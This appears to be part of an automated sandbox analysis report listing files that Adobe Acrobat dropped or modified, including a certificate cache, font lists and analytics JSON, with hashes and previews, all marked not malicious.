Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7209817973800585
Encrypted:	false
SSDEEP:	3:kkFklNk+GbNttfllXlE/HT8ksjNNX8RolJuRdxLlGB9lQRYwpDdt:kK95pteT8/RNMa8RdWBwRd
MD5:	6F2AB4852D7DA954D3610702A3CA7D1D
SHA1:	B5C0F16C3307514D64B66859007341D6701BB999
SHA-256:	3530740770C3DA202CB4648B463317393796ABC3FFB6A1D006F9515B2E4F521A
SHA-512:	873D000179733C6CE25707B6A99AE1F42207C65F875DC3744FE073B1BF70C958E58473980AFE7F7782CE28A551F4FDD97F9ADF04CBB684A81C49E03182B125EE
Malicious:	false
Preview:	p...... ........>..w.c..(....................................................... ..........W....<W..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.229732757436726
Encrypted:	false
SSDEEP:	6:kKvHPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3HPiDImsLNkPlE99SNxAhUe/3
MD5:	9FB0581A47E3A3936B392120919643AA
SHA1:	068E208A1DD584ECA0A396F8950D0234714E022F
SHA-256:	0EE53E0B343CD3AF18B48E2C379CEA11F9E7CB7B0D89DAA77F1174CE9FA2CCCD
SHA-512:	6653D94C5306FA7C79C01E97138F06388648F685036D48493C57CDF494A6804F9E163159978C85671942DC1B3F7948B51CE2BEB5D955141870DC67847C4B079C
Malicious:	false
Preview:	p...... ........~....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5612

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5612

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3611457821479895
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJM3g98kUwPeUkwRe9:YvXKXpIsnYUTbdXGMbLUkee9
MD5:	E08204C5817B667629A455C68557BBB8
SHA1:	CAE92A4AF7FB6059733C04670FA1516F107ACBD0
SHA-256:	5FEF88B9390BBA0B01B728E80F6E2FDBB4EB34701382D023C86D86BF3A22B8C4
SHA-512:	8420EDC4F809FE75CB19B8B30757269E6AA7E9F1820769A4927AD7B0F2330A3F1D6F2C93C502E598CF0063C07B1D179394CE8B177900736B1F89DCA299067FCC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.296195493356868
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJfBoTfXpnrPeUkwRe9:YvXKXpIsnYUTbdXGWTfXcUkee9
MD5:	07309980AD84E29A10F37E97579E7E8D
SHA1:	D29C8FAEC4EFE0A79D600A040664984412E0875E
SHA-256:	F70F9D4D6E9720A4BE9BD1B808B02A14D52E720F84B9CDBFE51CDD92431B52A5
SHA-512:	916C9A022B9EF40977A1085458146C49D3E4C3B82E312E9B5B942CC9D405AB576A5D2CCA17551A094B66818368A5FE1F6216D9769C8AEB9BE5636A944888749E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.273878514587237
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJfBD2G6UpnrPeUkwRe9:YvXKXpIsnYUTbdXGR22cUkee9
MD5:	6922CCC7F38A3AB8302029504E4D2959
SHA1:	3CDB525552E4765843AC455DD2181B4B0814F2A2
SHA-256:	11B813F900E21FCD2730907567678DB637E847249097550BE0A4D91F72EA7504
SHA-512:	D0CA940B7CDEF6CB7285A2B6A875EFE94F7376BA4FE4C86585657D7DEB4566BB33E1D2095053F7A39A73B36783A9560E379AB970B20B573FBD813CA59DB560B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.335346681364325
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJfPmwrPeUkwRe9:YvXKXpIsnYUTbdXGH56Ukee9
MD5:	C673E80973225C41257482DA3FB0D454
SHA1:	752B198185B56748FF292619F7EE351D7E9FF580
SHA-256:	7866D30DC1AF631EC8CDFC566F6F8CA1964E921C296FB235588D7A95E968DF16
SHA-512:	4CA625A35812C8EEEC544254EC6001123CE381AAAFE3610A0703C293548457DAB7D72D640645316C93F45D1D43588316871B709C5B3B2C5379FD4EFD40B1B456
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687089812703169
Encrypted:	false
SSDEEP:	24:Yv6Xp2UX2pLgE9cQx8LennAvzBvkn0RCmK8czOCCSeo:Yv82w2hgy6SAFv5Ah8cv/eo
MD5:	D3ADDE45E0EEB2810B2BA8DE26E3139E
SHA1:	2461A584DE008A080F1118CB31B73693CEBD8947
SHA-256:	9A1519E457FD8A33BA593348D68146A912A32C203CB7DD1AB7AA1F29CB6D7560
SHA-512:	AC8B897D03141FA2B915D43C89BAA8AC2EAD6EBAC9208EF9B07796D3C08764F2546968D4AC12CAE5C7B954F16078FDDACF2322B9431CF2B93396A3FFD2A6B10C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2762565537222175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJf8dPeUkwRe9:YvXKXpIsnYUTbdXGU8Ukee9
MD5:	6468C0CC11798E038E6F1F3A3F101981
SHA1:	B15DC3BBD8D1A9BB1FACEDDADBBB4CB75EFCFA66
SHA-256:	AC7DDB5AB9A2C3E5C9E99B6A76858F26610B9CA88A49310FA0F9B964818A2D3E
SHA-512:	98E8246F53683C56F4253CE3A65FF6B1124FFD4FABF63E82B6B64FA62BE7618FD37AD71CF25800CECF96E1FD738CFBACD97F2D101756F7679D31125511918918
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.278569121271515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJfQ1rPeUkwRe9:YvXKXpIsnYUTbdXGY16Ukee9
MD5:	584375159184E974CF8BDEB7E5BC803F
SHA1:	4DFFCA23229105B22498737E5AC0287E41B287B4
SHA-256:	7984AAF99D2BEB18DA5627CBAED3A14F03FB7E0766236C82B070CDF70B890E11
SHA-512:	0599BBA417A9420E948FA9EA95288B207FAAD68D0957985875836DD4CBD408F35E9A7F77C38F2D84A2131859CE7BD5E8DBBFB1EE899517BB43D5BF9EE66A7300
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2923191696773335
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJfFldPeUkwRe9:YvXKXpIsnYUTbdXGz8Ukee9
MD5:	37B74369DD97573709EE5CA212A64BAD
SHA1:	4819968D73E5D78BF8523F3484FED8918E9D789C
SHA-256:	F5991CAD4E81053DC11236F023B5EE92E54AEF03D20A33254CDF42E431C28014
SHA-512:	64487D2DD6E7F33911B2DC00F5380CCB6639CA7886EDC8484335C863DD3C4790B52494A79E0F4914D5F5E6CBB935EE7CF3A675FB1FAA0AE2F8354E0E381D3F84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.304117316830828
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJfzdPeUkwRe9:YvXKXpIsnYUTbdXGb8Ukee9
MD5:	B646E09DED55239AA36125410651EFE1
SHA1:	9493A3C46D1471640CF4551873FAC6F7AB0C5914
SHA-256:	72D43E73932C7A3A3ABE95EC1BC05F7EB247A2FE27FC832EFA167EFD503BA4B7
SHA-512:	B9281F4C890CBA7EE28A254175F889D466DD8092EA8464FA4F0AB160518EB00735517919E0358DF0827A5CD4FC53E3B17F3009554AFC797EC33C0303D6C726B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284150709265495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJfYdPeUkwRe9:YvXKXpIsnYUTbdXGg8Ukee9
MD5:	BFFDADF65E296478123057EA0F2A0815
SHA1:	7EF8E3926648A548017FAEB399B4F87582541257
SHA-256:	4F10583AEC05AF61F2830B348401BFA398A3608F637ED1C6BD65717868023F83
SHA-512:	C44D1EA94E37B17DF9E009C9025802FB0969E9763C8CC16E1313B727E25549E7EEC057510BFD3C3589CC25C5F113AAFDA534FBFC59A6126CA90495529B4EEE62
Malicious:	false
